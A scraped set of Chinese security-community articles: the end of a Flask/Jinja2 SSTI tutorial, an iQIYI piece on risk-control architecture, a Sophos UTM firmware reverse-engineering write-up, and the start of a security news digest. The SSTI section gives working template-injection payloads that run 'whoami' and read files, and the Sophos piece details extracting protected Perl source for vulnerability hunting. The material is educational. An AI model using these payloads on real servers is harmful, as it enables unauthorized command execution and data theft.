{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
### 0x04 利用循环构造payload
上面提到过 `{% for i in [1, 2, 3] %}Zh1z3ven{%endfor%}` 可用作循环。我们改造下0x01 中利用
`os._wrap_close` 类的 `['__builtins__']['eval']` 注入
**执行命令的payload** 如下,这里有一个小坑点，比如我们第一次if判断 `if i.__name__ ==
'_wrap_close'`时，==右面不能写 `os._wrap_close` 而要写`_wrap_close` ,因为 `__name__` 返回值是
`_wrap_close`
{% for i in "".__class__.__base__.__subclasses__() %}
{% if i.__name__ == '_wrap_close' %}
{% for x in i.__init__.__globals__.values() %}
{% if x.__class__ == {}.__class__ %} # 筛选出dict类型元素
{% if 'eval' in x.keys() %}
{{ x['eval']('__import__("os").popen("whoami").read()')}}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
**读取文件payload** ,注意Windows环境需要 `\\` 标识路径
{% for i in "".__class__.__base__.__subclasses__() %}{% if i.__name__ == '_wrap_close' %}{{i.__init__.__globals__['__builtins__'].open('C:\\Users\\LENOVO\\Desktop\\1.txt', 'r').readlines()}}{% endif %}{% endfor %}
## 小结
当然关于SSTI利用远不止这些，且还有常见的过滤以及被ban函数的相关绕过姿势这里也没有写上，准备下一篇记录关于CTF基于常见的过滤的绕过姿势。这篇主要还是放在理解Flask+jinja2语法和SSTI这个洞入门。
## 参考文章
<https://xz.aliyun.com/t/3679>
<https://xz.aliyun.com/t/7746>
<https://xz.aliyun.com/t/6885>
<https://www.cnblogs.com/chaojiyingxiong/p/9549987.html>
<https://www.yuque.com/jxswcy/ctfnotebook/tdxk3n>
<https://www.anquanke.com/post/id/85571>
<https://hetian.blog.csdn.net/article/details/111399386>
<https://xz.aliyun.com/t/2308#toc-10> | 社区文章 |
# 爱奇艺业务安全风控体系的建设实践
|
##### 译文声明
本文是翻译文章，文章来源：爱奇艺技术产品团队
原文地址：[https://mp.weixin.qq.com/s?__biz=MzI0MjczMjM2NA==&mid=2247483836&idx=1&sn=d46875c957289d8e035345992ad7053e](https://mp.weixin.qq.com/s?__biz=MzI0MjczMjM2NA==&mid=2247483836&idx=1&sn=d46875c957289d8e035345992ad7053e)
译文仅供参考，具体内容表达以及含义原文为准。
**作者：Frank@爱奇艺技术产品团队**
**01 普遍业务风险 ——行业的共同的问题**
****
爱奇艺在快速发展过程中, 业务越来越多，越来越复杂，用户的权益和信息价值越来越高, 我们面临的业务安全的挑战也就越来越大。
除了传统的网络黑客的入侵，攻击以外，新的业务形态带来的新型风险: 比如撞库盗号，盗播盗看，很多的营销活动招引大量的薅羊毛的行为, 刷量, 刷人气,
恶意发布不良信息等风险, 社交场景下的拉粉和不良信息恶意传播, 支付场景下的欺诈, 所有这些风险一旦被黑产利用, 都可能对企业的稳定运营带来大的冲击。
以下总结了各种业务会遇到的风险
**01 会员：撞库盗号，账号分享，批量注册**
**02 视频：盗播盗看，广告屏蔽，刷量作弊**
**03 活动：薅羊毛**
**04 直播：挂站人气，恶意图文**
**05 电商：恶意下单，订单欺诈**
**06 支付：盗号盗卡，洗钱，恶意下单，恶意提现**
**07 其他：钓鱼邮件，恶意爆破，短信轰炸**
**02 解决方案 ——安全+风控**
针对新的业务形态会遇到的问题，除了一方面是要用常规安全解决方案去解决，另外我们也要对业务做充分的风险评估和及时控制。
常规安全解决方案是加强安全制度和体系建设，推动安全开发和安全运维，关注边界安全, 数据安全和纵深防御。
后者是我们要重点为给公司带来核心价值的关键业务，从风险管控上保护好他们。
**03 业务上线运营——问题多多**
业务在上线运营以后, 不是说没有关注风险评估和控制，但是以前的做法存在有非常多的问题，这里举四类主要的问题:
**一. 各自为战**
1 各业务方多以安全事件驱动, 多数仅做事前单点防御, 经验数据无法共享
2 单点防御容易被黑产各个击破, 无法做到跨业务跨团队的联防联控
3 低水平重复建设, 平台资源浪费
**二. 拍脑袋"规则"**
1 大量的风控规则是专家决策为主,阈值基本拍脑袋而定
2 没有引入数据分析或者机器学习等能力, 对事件本质缺乏足够认识及数据支撑, 造成正常用户误杀, 损伤用户体验, 导致用户流失
**三. 反应过慢**
1 不能快速识别攻击变化进行调整,无法进行积极对抗
2 业务代码耦合,依赖业务开发, 测试和上线,占用业务排期
3 某些前置/内置规则容易成为业务关键路径, 对业务稳定性造成影响
**四. 手段单一**
1 可用特征维度不多, 严重依赖于IP, 公共出口误杀严重,引发投诉
2 以限频, 限流, 黑白名单, 图文验证为主, 黑白名单难以维护, 无生命周期
**04 目标风控系统——用云服务来解决业务的问题**
****
要解决业务在上线运营以后遇到的问题，我们需要将风控服务，以云服务的方式提供业务,让业务关注业务本身, 让跨业务支持的统一风控云服务来对其进行保障。
到底要提供给业务团队怎么样的风控服务呢?
这里列一下我们的设计目标, 这些目标的达成也就能解决前面说的问题。
**一. 联防联控**
1各业务联合, 在模型,规则,数据等方面进行共享, 联合布控协同防御
**二. 数据驱动, 智能对抗**
1 全站全网数据支撑, 基于数据进行决策
2 利用机器学习实现智能异常特征发现
**三. 策略灵活, 有效对抗**
1 独立服务, 快速迭代
2 支持业务的风险多样运营需求
3 模型,规则, 策略快速实施, 快速反应
**四. 维度和拦截手段多样**
1 不依赖单一维度和单一行为
2 云和端结合, 多种拦截手段应对
**五. 延迟可控, 低耦合可降级**
1 在实时风控场景下, 快速决策, 不能明显增加业务延迟, 自身有问题情况下, 不能影响业务
**六. 快速实现, 高效部署**
1 能够快速完成架构. 实现和持续迭代
2 能够面向私有云的复杂拓扑, 快速部署
**05 风控服务的架构**
****
**一. 风控服务组成**
我们的风控服务是由三大子服务组成：
**麦哲伦（Magellan）** 主要包括业务接入(接入层)，三大服务引擎(数据查询，规则执行，模型调用)，面向风控团队的管理平台(服务资源管理,
模型规则管理，生命周期管理，上下线管理，维度数据管理)，面向业务方的运营平台(风险事件管理，仿真，风险处置，监控预警，数据查询和仪表盘，规则清单)。
**哥伦布（Columbus）**
主要面向对业务数据的特征工程，大规模异常检测和深度学习，知识图谱，实时特征，离线特征，环境特征以及安全画像，并对外提供模型可实时调用接口或者模型输出缓存。
**郑和（Zhenghe）** 是安全知识仓库，是面向业务风控和其他安全控制所需的各类安全基础数据和威胁情报。
****
**二. 风控 – 部署**
利用云平台能力高效构建和发布：
2.5*4个人月从零开始开发构建上线服务,
并对外提供了基于HTTP/RPC的实时风控和近实时风控以及基于离线数据的离线风控.如何把风控服务在复杂的云环境部署下去。
我们会在一个主IDC里，部署运营中心和管理平台。这一块可以快速切换IDC部署，如果这个主IDC有问题,
可以快速切换到另一个IDC。对于真正贴近业务的三大服务引擎，则是基本上所有有受保护的业务的IDC都有进行部署, 以保证业务可以就近访问, 降低访问延。
**三. 风控 – 引擎**
**查询引擎**
1 Magellan子服务的的核心，主要负责进行实时和离线数据批量查询及聚合
2 构建为参数/特征组合提供给规则引擎, 模型引擎
**规则引擎**
1负责进行规则匹配
2支持自定义执行策略如: 命中退出, 全部执行, 条件退出等
3支持多种规则类型, 如:评分卡, 决策树, 决策表, 普通规则等
**模型引擎**
1通过查询引擎查上来的一些参数特征，负责进行特征处理及算法执行，以达到和Columbus子服务的协同, 并服务于规则引擎。
**四. 风控 – 运营**
业务如果把风险评估交付给风控，Magellan必须满足其复杂的运营需求：
**一 风控服务**
业务风险评估,接入登记,根据场景实施初始规则和模型,逐步迭代。
**二 事件查询/处置/回溯**
查询被识别为风险案例的上下文,特征,模型结果,数据标注等信息.供运营进行案例分析及后续仿真
**三 事件监控和报警**
业务/风险数据监控看板,智能报警
**四 adhoc/Daily数据分析**
Adhoc/Daily数据报表,风险数据分析,模型/规则贡献度分析,仿真效果分析等
**五 离线/在线仿真**
基于案例库中的正/反例,结合仿真环境进行模型/策略仿真.利用数据平台进行贡献度, 线上效果比对等分析。
**六 审批上线**
规则模型变更及时通知业务方,风控运营团队,相关业务方,相关负责人确认审批上线。
**五.风控 – 数据**
风控最重要的还是数据。
风控通过Columbus子服务从业务方获取的海量的近实时或者离线业务数据, 并把数据进行清洗和特征工程,形成基础数据，这些基础数据存在HDFS-HBase里面，通过数据分析和机器学习的方法, 产生各类标签，画像和模型, 经过安全专家确认, 产出的安全规则和可用的模型缓存。
针对业务数据获取和处理, 对于实时数据 ,利用Apache Flink构建, 实现图特征工程, 多维频次特征工程, 多数据流Complex Event
Processing处理, 达到毫秒级延时.
Columbus的多渠道业务数据采集和处理
1 实时数据:基于Apache Flink
构建: 图特征工程, 多维频次特征，多数据流Complex Event Processing，毫秒级延时
2 近实时数据:基于Apache Spark
构建:异常检测,流式特征工程,，秒级延时
3 离线数据: 基于Apache Spark，Impala/Hive
构建:安全画像，用户画像，全业务数据， 小时/天级延时
**安全画像**
Columbus的安全画像
对全站业务数据分析和提炼以后
形成海量的多维度标签刻画
为风控的每一次处理
丰富上下文场景和实体特征
安全画像作为风控最重要的一个业务数据的积累。通过潜在的数据提炼以后，形成海量的多维度度标签刻画。我们整个安全画像的话，包括他通过哪一个IP等等。目前大概有600多种标签，数据总数已经超过19亿。
**Zhenghe安全知识仓库**
Zhenghe系统是安全云的包括威胁情报在内的基础安全数据集
1 全网安全数据监测和收集，包括 自采，共享和第三方采购
2 对业务安全而言重点关注 – IP信誉分, IP分类识别, 公共出口识别, 代理IP识别, 手机号信誉分, 虚假小号识别等
3 威胁标记类型210个，涵盖13个维度，总共记录数约16亿条
IP信誉分
融合爱奇艺内部多个系统的数据
参考第三方数据
综合衡量一个IP的长期行为
得到一个-100到100的信誉分
**六.风控 – 平台**
Columbus的核心是异常检测
如果黑产完全和正常用户一样的话
其实是达不到获利的目的的
所以异常检测对安全来说
也是风控平台的一个基本功能
Columbus主要是通过自研的方式
实现各种异常检测的功能
在该核心功能的基础上
构建了整个哥伦布系统的上层架构
实现面向风控Magellan服务的能力
**一 预处理特征工程**
预处理工具
低级特征工程库:
对数特征,归一化特征,主成份特征 …
高级特征工程库:
FPGrowth关联特征,k-means距离特征, 多维自动关联 …
**二 离线检测**
低级异常检测算法库:
多种分布模型, 单维度异常检测 …
高级的异常检测算法库:
基于FPGrowth关联的多维异常检测 …
**三 在线监测**
流式异常检测:
基于FPGrowth关联流式, 基于CEP…
基于时间序列的异常检测:
基于基线曲线预测, 基于深度学习时间序列
**四 基础工具库**
自动化数据解析,存储和导入等工具
**七.设备指纹**
对风控而言, 还要提一下其依赖服务: 设备指纹。
风控需要一个好的设备指纹的服务，要让所有的端都能够采集设备纬度，形成一个指纹，这个指纹多维签发的, 而且在云端会做大量的黑产分析，联合安全画像进行沉淀。
因为这些数据都是用户提供上来的，必须要做一个防伪的检测，从多维度数据里面查出提供的维度数据矛盾和不真实。
**八.验证手段**
1.图文验证码
传统的复杂图文验证码
2.滑动验证码
基于滑动的人机行为识别进行验证
3.上下行短信验证
发送下行或者上行短信进行验证
4.基于信任设备的验证
信任设备可以为其他端进行授权和验证
5.基于安全盾APP的验证
安装爱奇艺安全盾APP可以为其他应用进行
动态口令(OTP), 推送一键确认, 扫码确认
其他: 暂时放行+事后处置,
降级体验或者权益
A业务标识+B业务拦截
(A业务识别风险以后只做标识画像，
然后B业务进行拦截,
这样非常有利于让黑产无法识破规则策略)
**06 风控服务的成果**
**1.业务覆盖：**
涵盖帐号, 会员, 活动, 支付, 播放反作弊,
社交, IT, 直播等重要业务
**2.服务质量：**
日均请求量超24亿, 延时5ms以内, 无故障运行
**3.柔性风控：**
平时重监控, 战时重对抗. 注重用户体验
**4.核心亮点：**
事前, 事后纵深防御体系,
结合事中跨业务联防联控及实时流式异常检测,
机器撞库接近100%抑制
在这里重点讲一下我们对机器撞库盗号的防御成果。
会员账号的安全关系到爱奇艺会员付费战略的顺利实施以及爱奇艺良好口碑的建立。
然而，对于互联网公司来说，帐号的撞库风险在登录、注册、找密等环节普遍存在。
目前，“黑产”主要通过第三方网站大量泄漏的用户数据，在这些潜在风险的地方，进行账号检存操作，然后通过存在的账号测试对应密码检存；或者寻找无任何防御的登录接口进行撞库。账号与密码一旦被黑产所获悉，会员权益有被分享的风险，进而导致爱奇艺会员营收的损失与口碑的下降，甚至由于大量隐私泄露，触犯最新出台的《网络安全法》，引起刑事诉讼。
对黑产来说,他们拿到其他网站泄露的账号(用户名和密码)，会到爱奇艺这边做帐号的检测，检查帐号在爱奇艺是否存在，是不是会员，如果是会员则就把这个帐号盗取了。
对黑产来说, 撞库效率是非常关键的, 要求用最快的时间检测最多的账号。目前黑产已经形成非常完整的产业链，有专人负责开发撞库软件,
并软件下发给手上有各种失窃账号数据的人，这些人利用各种物料(例如拨号器, 代理等)实施检测,，检测结果快速汇聚整理，并寻求下游的分享或者售卖。
我们是如何把这个问题解决掉呢？
安全风控服务,
从登录、注册、验证码等多个风险点的联防联控入手，利用流式异常检测引擎、智能评分卡和多业务数据流复杂事件关联等结合进行实时对抗，以期从根本上解决账号大规模泄露的风险。
这个问题的解决的难点在哪里呢?
黑产手上的IP非常多,
包括各种代理和动态拨号获取的IP，其构建的检测请求的客户端特征也可以进行快速的伪造，机器撞库根本上是追求低成本高效率，也就是一个IP在被风控识别出为撞库源之前完成尽可能多的撞库请求，这也要求在1s内尽可能完成更多的撞库请求，这还包括了验证码的告破解率。
因此，面对快速多变的对手, 依赖拍脑袋的高频阈值控制是很容易被黑产绕过的。对风控而言, 主要是解决三点：
1 使用流式检测手段，尽可能快的识别出物料维度(例如IP等)+客户端多维特征的异常组合,
这些异常组合能够尽快的进入到拦截标注集中发挥作用，在失效之前对后续同一组合的请求导入到验证阶段，这个依赖于我们的大规模流式异常检测的能力。
2
利用稳定的攻击行为特征(客户端多维特征)加上安全画像刻画物料(例如IP等)的历史行为特征协同验证阶段的行为特征进行组合拼接，从而形成大量的临时拼接标注,并进入到拦截标注集中发挥作用，在失效之前对后续同一组合的请求导入到验证阶段，这非常有利于我们预测黑产的一个新的维度组合从而快速拦截。
3
命中的检出拦截标注或者临时拼接标注会进入到安全画像分析出物料维度(例如IP等)的历史行为特征以及归纳出稳定的攻击行为特征(多维特征组合)，用于后续持续临时拼接,
这个依赖于安全画像服务。
从整个对抗的成果来看，共实时拦截黑产撞库请求超过2亿次，从我们自己的监控来看从2017年4月中旬开始，每日撞库成功的账号数目降至个位数，此外，从各大社交网站舆情监控来，
用户反馈被盗号的情况也基本上消失。
机器撞库盗号攻击基本消失
**07 风控服务的心得**
****
**拥抱业务** ：安全只有拥抱业务才能体现价值
**云端结合** ：立足于云，服务为云，结合与端
**精细运营** ：业务安全需要持续运营
**协同联动** ：多点多层次跨业务防御
**二八原则** ：优先解决主要风险
**数据驱动** ：充分挖掘数据价值 | 社区文章 |
**作者：极光无限维阵漏洞团队负责人—仙果**
**原文链接：<https://mp.weixin.qq.com/s/4TXJrYWnSVeGaM6-p0K8QA>**
## 一. 题记
网络设备或其他IoT设备提取到固件之后进行安全分析和漏洞挖掘工作，对 Sophos UTM 进行安全分析时，发现其具体提供Web 功能的是一个Linux
文件，并没有发现web功能实现的html代码，通过 Burp Suite 抓包Web 请求发现所有web页面的请求展示都是通过该Linux
文件实现，自然必须对其进行解析才行继续分析，但难度非常大，一度束手无策，经过几天的详细排查分析，最终得以解决。
由于国内外资料网站均没有对Sophos UTM 固件文件的反编译资料，故梳理成文，分享给大家。
## 二. 分析
UTM 是Unified Threat Management的缩写 ，简称为统一威胁管理，各个安全厂商都有自己的 UTM 产品，比较出名的是
Fortinet、WatchGuard、Sophos等等，此次需要进行安全分析的产品就是 Sophos UTM，官方网站为：
<https://www.sophos.com/en-us/products/unified-threat-management.aspx>
获取到的固件文件为一个完整打包好的 ISO 光盘文件，使用 VmWare Workstation 安装之后， 就可以进入到UTM 页面中。
本地访问的地址是 <https://192.168.21.100:4444/>
一般来说获取一个ssh shell 将会非常有助于安全分析，比完全从Web 入手难度就要下降几个等级，下面就先来获取命令行shell。
### 1\. 获取ssh shell & root shell
Sophos UTM 默认情况下不允许使用ssh shell，必须在web页面中开启，Management-System Settings-Shell
Acess 开启shell 功能。
注意要选择 "Allow password authentication"，否则要使用证书验证，比较麻烦，不方便分析。
接着输入 `root` 和 `loginuser` 两个用户的密码，并使用 `loginuser` ssh 登录。
a@DESKTOP-22L12IV:$ ssh [email protected]
[email protected]'s password:
Last login: Mon Nov 9 05:34:23 2020 from 192.168.21.1
Sophos UTM
(C) Copyright 2000-2014 Sophos Limited and others. All rights reserved.
Sophos is a registered trademark of Sophos Limited and Sophos Group.
All other product and company names mentioned are trademarks or registered
trademarks of their respective owners.
For more copyright information look at /doc/astaro-license.txt
or http://www.astaro.com/doc/astaro-license.txt
NOTE: If not explicitly approved by Sophos support, any modifications
done by root will void your support.
loginuser@test:/home/login > su
Password:
test:/home/login # id
uid=0(root) gid=0(root) groups=0(root),890(xorp)
test:/home/login # uname -a
Linux test 3.8.13.27-0.176377654.gd7350fc-smp64 #1 SMP Wed Sep 17 10:45:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
test:/home/login # cat /proc/version
Linux version 3.8.13.27-0.176377654.gd7350fc-smp64 (abuild@axgbuild) (gcc version 4.3.4 [gcc-4_3-branch revision 152973] (SUSE Linux) ) #1 SMP Wed Sep 17 10:45:23 UTC 2014
test:/home/login # cat /etc/version
9.208008
test:/home/login #
### 2\. 登录抓包
接下来就是登录抓包进行登录验证分析，使用的工具是`Burp Suite Pro`，正确配置之后，就可以有完整的登录验证包。
POST /webadmin.plx HTTP/1.1
Host: 192.168.21.100:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 287
Origin: https://192.168.21.100:4444
Connection: close
Referer: https://192.168.21.100:4444/
{"objs": [{"elements": {"login_username": "admin", "login_password": "test0011"}, "FID": "login_process"}], "SID": "0", "browser": "gecko", "backend_version": -1, "loc": "english", "_cookie": null, "wdebug": 0, "RID": "1604979704552_0.8572369473251601", "current_uuid": "", "ipv6": true}
发现登陆是使用 `json` 格式进行网络请求，方法是 `POST` ，请求的的接口文件是
`webadmin.plx`，同时登陆之后的页面请求和展示都是通过`webadmin.plx`进行数据交互，接下来就是对`webadmin.plx`进行解析分析。
## 三. 疑难问题
截止到此处，还没有遇到无法解决的问题，但深入文件分析时却给了沉重的一击，先来看`webadmin.plx`的文件属性：
test:/var/sec/chroot-httpd/var/webadmin # file webadmin.plx
webadmin.plx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
32位可执行文件，没有异常，但是当使用 GDB 调试的时候提示：
GDB 提示文件格式不正确，事实是该文件可以执行：
test:/var/sec/chroot-httpd/var/webadmin # ./webadmin.plx
[19370] WARN: Use of uninitialized value $ENV{"REQUEST_METHOD"} in string eq at /</var/sec/chroot-httpd/var/webadmin/webadmin.plx>wfe/asg/modules/asg_fcgi.pm line 59.
test:/var/sec/chroot-httpd/var/webadmin #
有正常的错误返回，说明`webadmin.plx`文件正常，执行正常。
又发现该文件没有任何的 `Section`:
a@DESKTOP-22L12IV:$ readelf -S webadmin.plx
There are no sections in this file.
IDA Pro 又能够正常解析elf 文件，只有 `LOAD`节。
两眼一抓瞎，这可怎么办？
GDB 调试进程，失败。
尝试使用GDB 附加调试进程，失败+1,`not in executable format: File format not recognized`。
尝试GDB 附加父进程，然后调试子进程，失败+1，`not in executable format: File format not
recognized`。
尝试GDB dumps内存，失败+1，`not in executable format: File format not recognized`。
GDB Server 远程调试，失败+1，`not in executable format: File format not recognized`。
获取两个不同版本的`webadmin.plx`文件，进行补丁对比，无差别，失败+1。
查找分析 ELF 反调试手段，失败+1。
最后得出结论，GDB 调试无效，继续接着找其他办法。
梳理一下目前得到的信息：
1. `webadmin.plx`负责处理UTM 系统登录，页面交互处理等等工作，是一个主体处理文件。
2. ELF 可执行程序，32位。
3. 可正常执行。
4. GDB 调试无效
5. 无反调试
6. 补丁对比无效
若进行安全分析和漏洞挖掘，就必须剁掉`webadmin.plx`，接着分析吧。
## 四. 确认Perl 编译器
分析 `webadmin.plx`，查找ELF 中的字符串，其中几个字段尤为可疑：
a@DESKTOP-22L12IV:Sophos_UTM$ strings webadmin.plx |grep Perl
psym_Perl_newSVpv
psym_Perl_stack_grow
psym_Perl_Itmps_floor_ptr
psym_Perl_sv_setiv
psym_Perl_markstack_grow
psym_Perl_Iexit_flags_ptr
psym_Perl_save_int
psym_Perl_push_scope
psym_Perl_Isv_no_ptr
psym_Perl_call_sv
psym_Perl_Imarkstack_max_ptr
psym_Perl_Istack_base_ptr
psym_Perl_Gop_mutex_ptr
psym_Perl_eval_pv
psym_Perl_Gthr_key_ptr
psym_Perl_call_list
psym_Perl_Icurstackinfo_ptr
psym_Perl_get_context
psym_Perl_Guse_safe_putenv_ptr
psym_Perl_IXpv_ptr
psym_Perl_pop_scope
很明显，跟Perl有很大的关系。
IDA 中也显示同样的结果，怀疑该`webadmin.plx`是由Perl 编译出来的，接下来就是验证自己的想法。
搜索引擎中查找资料，发现主流有三款程序可以从 Perl 代码编译成 ELF 软件：PerlAPP，PerlCC，Perl2EXE，而针对 Perl ELF
反编译就只有52破解网站上有一份PerlAPP 在Windows 下的资料，Linux 下的资料一无所有，也是奇葩，Perl 越混越差了。
从IDA对`webadmin.plx`的反编译代码中分析查找，找到一处关键字：
v1 = *(_DWORD *)psym_Perl_Istack_sp_ptr(a1);
v2 = (int **)psym_Perl_Imarkstack_ptr_ptr(a1);
v3 = **v2;
--*v2;
v4 = (v1 - (*(_DWORD *)psym_Perl_Istack_base_ptr(a1) + 4 * v3)) >> 2;
v18 = sub_804E6EC();
v33 = a1;
v34 = psym_Perl_get_hv(a1, "PerlApp::lic", 1); //PerlApp::lic,此处为关键字
if ( v4 )
v19 = *(_DWORD *)(*(_DWORD *)psym_Perl_Istack_base_ptr(a1) + 4 * (v3 + 1));
else
v19 = psym_Perl_Isv_undef_ptr(a1);
v20 = *(int **)(v18 + 48);
licFree(*(_DWORD *)(v18 + 56));
*(_DWORD *)(v18 + 56) = 0;
从`PerlApp::lic`关键字来分析，基本可以确认 `webadmin.plx`是使用 `PerlAPP` 编译而成的ELF文件。
## 五. 问题复现
`webadmin.plx`确认是由 `PerlAPP`工具编译而来，接下来就来验证一下，在Linux 环境下搭建一套PerlAPP环境。
PerlAPP的全称是 `Perl Dev Kit(PDK)`，有ActiveState
公司开发，但是其已经在2016年不再进行更新维护，在2020年10月份正式终止软件生命周期。
<https://www.activestate.com/blog/perl-dev-kit-pdk-now-end-of-life/>
软件终止更新还好，影响不大，但网络上Linux
版本的PerlAPP非常难找，最终是在一个不起眼的小网站上下载到了低版本的安装包（这又是一个辛酸的故事），进行安装测试。
PerlApp安装需要 32位`Active Perl`（必须），而非操作系统自带的perl，又下载了一个低版本的`Active
Perl`，才算完成PDK的安装（一把辛酸泪）。
最后拿一个最简单的 perl 示例代码来进行测试：
[test@192 Desktop]$ cat test.pl
#!/usr/bin/perl
print "Hello, World!\n";
[test@192 Desktop]$ perl test.pl
Hello, World!
[test@192 Desktop]$
使用PerlApp进行编译测试：
shell中也能够正常执行：
[test@192 Desktop]$ ./test
Hello, World! # 正常执行
[test@192 Desktop]$
使用GDB 调试编译好的程序：
[test@192 Desktop]$ gdb test
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-119.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
"/home/test/Desktop/test": not in executable format: File format not recognized # 同样的报错提示
(gdb)
好吧，同样的`not in executable format: File format not
recognized`报错提示，完美复刻`webadmin.plx`遇到的问题。
## 六. 反编译 Perl 源码
现在来梳理一下目前的信息：
1. `webadmin.plx`是使用 `PerlApp`编译而成的ELF 文件
2. 不能使用GDB 调试，GDB Server也不行
3. 网络上没有 Linux 反编译Perl 的资料
在团队小伙伴 ztop（此处应该有掌声）的帮助下，发现使用 IDA 的 `linux_server`，结合IDA 远程调试，就可以完美绕过 GDB
无法调试的问题。在Centos 7 中无法使用IDA 远程调试，不知道具体原因是什么，遂放弃，选择使用 Kali 2018
R4，IDA的主机为Windows。
root@kali:~# chmod +x linux_server
root@kali:~# ./linux_server
IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017
Listening on 0.0.0.0:23946...
=========================================================
[1] Accepting connection from 192.168.21.1...
Warning: Section header string table index 26 is out of bounds
Hello, World!
Looking for GNU DWARF file at "/usr/lib32/2651bcf6f5569acd1dba629eaaaa5f002af684.debug"... no.
Looking for GNU DWARF file at "/usr/lib32/.debug/2651bcf6f5569acd1dba629eaaaa5f002af684.debug"... no.
[1] Closing connection from 192.168.21.1...
==========================================================
linux_server 的监听23946端口，需要在宿主机进行配置。
`webadmin.plx`的`main`函数中：
signed int __cdecl paperl_main(int a1, int a2, int a3, _DWORD *a4, int (__cdecl *a5)(int))
{
signed int v5; // ebx
int v7; // [esp+10h] [ebp-8h]
v7 = dword_805B4F8;
v5 = paperl_create((int ***)&v7, a1, a2, a3, a4, a5, 1); //此函数内部进行perl 代码执行。
paperl_destruct(v7);
return v5;
}
进入到 `paperl_create()`函数内部：
ptr = sub_804C370(**v43, "*SCRIPTNAME", (int)"scriptname");
if ( ptr )
{
v27 = (int *)sub_804C370(**v43, ptr, (int)"script"); //此函数对perl代码进行初始化
v43[9] = v27;
if ( !v27 || (v28 = (char *)sub_804C2D0(strlen(ptr) + 14, (int)"hashline"), (v43[8] = (int *)v28) == 0) )
找到关键代码位置：
LOAD:0804E224 jz loc_804E32E
LOAD:0804E22A mov eax, [edi]
LOAD:0804E22C mov ecx, offset aScript ; "script"
LOAD:0804E231 mov edx, [ebp+ptr]
LOAD:0804E237 mov eax, [eax]
LOAD:0804E239 call sub_804C370 ; 函数执行后，解密出perl代码
LOAD:0804E23E mov [edi+24h], eax
LOAD:0804E241 test eax, eax
LOAD:0804E243 jz loc_804E517
LOAD:0804E249 mov edx, [ebp+ptr]
LOAD:0804E24F cld
LOAD:0804E250 mov ecx, 0FFFFFFFFh
LOAD:0804E255 xor eax, eax
经过一系列的仔细调试和分析，最终发现 `0804E239 call sub_804C370`函数执行后，eax 指向堆的内存中出现了
`#!/usr/bin/perl`字符，
验证它：
很明显都是明文字符，dump 出来进行校验，获取到完整的`webadmin.plx`功能的 perl 源码：
# setting line discipline to utf8 -------------------------- binmode( STDOUT, ':utf8' );
binmode( STDIN, ':utf8' );
# getting our paths
my ( $apppath, $appname ) = &get_path_and_appname();
# load core config ------------------------------------------ die '[' . $$ . '] DIED: core configuration could not be found' unless -e $RealBin . '/core/res/config.ph';
my $config_basic = read_ph( $RealBin . '/core/res/config.ph' );
die "Could not read core config in [$RealBin/core/res/config.ph]!" unless $config_basic;
# fetching application config ------------------------------ die '[' . $$ . '] DIED: application configuration could not be found' unless -l $RealBin . '/config';
my $config_app = read_ph( $RealBin . '/config' );
die "Could not read config for [" . $appname . "] in [" . $RealBin . "/config]!" unless $config_app;
# initialize Astaro::Logdispatcher ------------------------- Astaro::Logdispatcher->init({
syslogname => 'webadmin',
myname => 'webadmin',
redirect_stdout => 0,
redirect_stderr => 0,
configfile => 'core/res/core-log.conf',
configset => {
logvars => {
logbitmask => 7,
syslogmtypeinfo => 1,
syslogcallerinfo => 1,
tofilehandle => 0
}
},
logfiler => [
'+ .',
],
printfile => '/dev/null'
});
至此完整的获取到 Sophos UTM webadmin 功能的perl 源代码，剩余的工作就是基础的代码审计和漏洞挖掘。
## 七. 梳理总结
Perl 编译的ELF 文件在执行时，会在`/tmp/`目录下生成`libperl.so` 文件，perl
代码通过调用so文件接口j来执行，本次调试释放路径是
`/tmp/pdk-root/757fcfe556133c27007d41e4e52f4425/libperl.so` ，也可以通过hook so
的函数来达到获取perl 源码的目的。
Perl 语言编译的ELF文件，如何进行反编译，网络上没有任何有价值的信息，之前对python 和go 编译的ELF
文件都有过反编译经验，按道理来说同样是能够通过反编译来获取源代码，但是GDB 无法调试 ELF
困扰了很长时间，动态获取源码相对于静态去逆向解密算法要简单很多，虽然最后也并不简单。
其中的工作并没有去逆向解密算法，理清楚算法的情况下，可以编写脚本静态还原perl
源代码，但以安全分析或漏洞挖掘为目标，算是告一段落了，后续工作也可以编写IDA 的python 脚本，动态提取源代码。
## 八. 资料索引
### 1\. demo
<https://utm.trysophos.com/>
### 2\. 从PDK打包的可执行程序里面解出完整的Perl源码
<https://www.52pojie.cn/thread-317216-1-1.html>
## 九. 注意事项
1. VmWare Workstation 安装固件 ISO 需要选择低版本的兼容性，否则无法安装。
2. Active Perl 要选择 X32位安装包，X64的安装包无法安装 PDK
* * * | 社区文章 |
# 【知识】10月15日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：暗网毒品市场遭到 DDoS
攻击、伊朗通过暴力破解的方式黑掉了9000个美国邮箱账户、安卓勒索软件加密手机后顺带帮你改PIN码、Opentext Documentum Cotent
Server多个严重漏洞exp公布、Adobe Coldfusion反序列化漏洞RCE。**
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
暗网毒品市场遭到 DDoS 攻击
**资讯类：**
伊朗通过暴力破解的方式黑掉了9000个美国邮箱账户
